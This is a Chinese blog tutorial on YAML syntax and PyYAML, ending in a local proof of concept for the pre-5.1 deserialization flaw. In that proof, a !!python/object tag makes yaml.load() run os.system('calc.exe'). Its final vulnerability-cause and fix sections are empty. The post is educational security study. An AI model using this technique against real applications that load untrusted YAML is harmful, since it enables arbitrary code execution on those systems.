目录

  1. 1. 前言
  2. 2. Yaml
    1. 2.1. 基本语法
    2. 2.2. 数据类型
  3. 3. PyYaml基本使用
    1. 3.1. load():返回一个对象
    2. 3.2. load_all():生成一个迭代器
    3. 3.3. yaml.dump:python对象转yaml文档
  4. 4. PyYAML < 5.1
    1. 4.1. 标签转化
    2. 4.2. 本地测试
    3. 4.3. 漏洞成因
  5. 5. PyYAML >= 5.1
    1. 5.1. 修复改动

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

PyYaml反序列化

2023/6/17 Web 反序列化 python Yaml
  |     |   总文章阅读量:

前言

填一下之前HDCTF的坑,对Yaml及Yaml反序列化进行学习

参考了ph0ebus大佬的博客先知社区上的一篇文章

Yaml

菜鸟教程

YAML是一种可读性高,用来表达数据序列化的格式

后缀是.yml文件

其实博客魔改多了对这个也不会太陌生

基本语法

  • 大小写敏感
  • 使用缩进表示层级关系
  • 缩进不允许使用tab,只允许空格
  • 缩进的空格数不重要,只要相同层级的元素左对齐即可
  • ‘#’表示注释
  • ‘!!’表示强制类型转换,如强制转化为str类型就是!!str

数据类型

  • 对象:键值对的集合,又称为映射(mapping)/ 哈希(hashes) / 字典(dictionary)

    key: 
        child-key: value
        child-key2: value2
  • 数组:一组按次序排列的值,又称为序列(sequence) / 列表(list)

    - A
    - B
    - C
  • 纯量(scalars):单个的、不可再分的值

    boolean: 
        - TRUE  #true,True都可以
        - FALSE  #false,False都可以
    float:
        - 3.14
        - 6.8523015e+5  #可以使用科学计数法
    int:
        - 123
        - 0b1010_0111_0100_1010_1110    #二进制表示
    null:
        nodeName: 'node'
        parent: ~  #使用~表示null
    string:
        - 哈哈
        - 'Hello world'  #可以使用双引号或者单引号包裹特殊字符
        - newline
          newline2    #字符串可以拆成多行,每一行会被转化成一个空格
    date:
        - 2018-02-17    #日期必须使用ISO 8601格式,即yyyy-MM-dd
    datetime: 
        -  2018-02-17T15:02:31+08:00    #时间使用ISO 8601格式,时间和日期之间使用T连接,最后使用+代表时区

PyYaml基本使用

安装PyYAML

pip install PyYAML

load():返回一个对象

这个过程就被称为反序列化

新建一个config.yml文件

name: Tom Smith
age: 37
spouse:
    name: Jane Smith
    age: 25
children:
 - name: Jimmy Smith
   age: 15
 - name1: Jenny Smith
   age1: 12

同个文件夹下新建一个test.py

import yaml
f = open('config.yml','r')
y = yaml.safe_load(f)
print (y)

(注:从 PyYAML 5.1 版本开始,yaml.load() 函数的默认行为已更改,它不再支持加载任意 Python 对象。如果你要加载未知来源的 YAML 数据,建议使用 yaml.safe_load() 函数,它会加载安全的 Python 基本类型(如 dict、list、str、int、float、bool 和 NoneType))

执行结果:

image-20230617122758754

load_all():生成一个迭代器

如果string或文件包含几块yaml文档,你可以使用yaml.load_all来解析全部的文档

yaml.dump:python对象转yaml文档

这个过程就被称为序列化

新建一个dump.py

import yaml
aproject = {'name': 'Silenthand Olleander',
            'race': 'Human',
            'traits': ['ONE_HAND', 'ONE_EYE']
            }

print(yaml.dump(aproject,))

执行结果:

image-20230617123202415

yaml.dump接收的第二个参数一定要是一个打开的文本文件或二进制文件,yaml.dump会把生成的yaml文档写到文件里

import yaml
aproject = {'name': 'Silenthand Olleander',
            'race': 'Human',
            'traits': ['ONE_HAND', 'ONE_EYE']
            }
f=open('dump.yml','w')
print(yaml.dump(aproject,f))

运行后会生成dump.yml文件

name: Silenthand Olleander
race: Human
traits:
- ONE_HAND
- ONE_EYE

yaml.dump_all():多个段输出到一个文件

import yaml

obj1 = {"name": "James", "age": 20}
obj2 = ["Lily", 19]

with open('yaml_dump_all.yml', 'w') as f:
    yaml.dump_all([obj1, obj2], f)

运行后生成yaml_dump_all.yml

age: 20
name: James
---
- Lily
- 19

PyYAML < 5.1

在上面测试的时候也发现了,yaml.load()函数已不可在5.1及以上版本直接使用

那么我们以PyYAML==4.2b4这个版本来进行本地测试

pip install PyYAML==4.2b4

标签转化

PyYaml下支持所有yaml标签转化为python对应类型,详见Yaml与python类型的对照表

其中有五个强大的Complex Python tags支持转化为指定的python模块,类,方法以及对象实例

YAML tag Python tag
!!python/name:module.name module.name
!!python/module:package.module package.module
!!python/object:module.cls module.cls instance
!!python/object/new:module.cls module.cls instance
!!python/object/apply:module.f value of f(…)

本地测试

在PyYAML 5.1版本之前我们有以下反序列化方法:

load(data)
load(data, Loader=Loader)
load_all(data)
load_all(data, Loader=Loader)

这里进行本地测试(python=3.10.8,PyYAML==4.2b4)

import yaml
import os

class poc:
    def __init__(self):
        os.system('calc.exe')

payload = yaml.dump(poc())
payload = payload.replace("__main__","yaml_test")
print (payload)

with open('simple.yml','w') as fp:
    fp.write(payload)

首先,使用yaml_test.py来创建一个poc对象,

之后再调用yaml.dump()将其序列化为一个字符串,其中第10行代码主要用于将默认的”main“替换为该文件名”yaml_test”,

这样做的目的是为了后面yaml.load()反序列化该字符串的时候会根据yaml文件中的指引去读取yaml_test.py中的poc这个类,否则无法正确执行,

运行该yaml_test.py来生成simple.yml文件(第一次运行时会调用init所以会弹一次计算器)

image-20230617172655499

然后simple.yml内容如下

!!python/object:yaml_test.poc {}

之后构建yaml_verify.py,并通过yaml.load()读取目标yaml文件

import yaml

with open('simple.yml', 'r') as fp:
    yaml.load(fp)

之后!!python/object标签解析其中的名为yaml_test的module中的poc类,最后执行了该类对象的init()方法从而执行命令

弹出计算器

image-20230617173439483

漏洞成因


PyYAML >= 5.1

修复改动